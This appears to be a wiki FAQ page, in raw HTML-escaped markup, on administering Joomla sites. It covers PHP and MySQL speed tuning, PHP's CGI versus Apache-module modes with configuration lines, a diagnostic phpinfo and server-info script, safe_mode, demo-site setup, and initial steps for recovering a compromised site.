== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 &#039;&#039;Dormant&#039;&#039;] since August 2010)&lt;br /&gt;
&lt;br /&gt;
*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
